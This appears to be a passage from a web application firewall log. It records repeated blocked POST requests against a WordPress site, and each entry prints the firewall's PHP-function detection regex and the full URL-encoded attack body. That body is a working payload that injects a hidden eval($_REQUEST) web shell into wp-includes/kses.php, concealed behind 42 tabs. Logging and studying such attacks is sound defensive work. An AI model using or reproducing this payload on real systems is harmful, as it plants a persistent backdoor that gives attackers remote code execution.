B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:59","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nMxhiX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:2023\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoKVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nmr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nMxhiX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:03","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ed:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nMxhiX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:2023\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMJDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\ned=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nMxhiX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:04","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> eC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nMxhiX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:2023\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMHZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\neC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nMxhiX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:06","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nMxhiX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:2023\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI1VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nWR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nMxhiX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:09","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Py:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nMxhiX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:2023\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHUxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nPy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nMxhiX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:11","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nMxhiX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%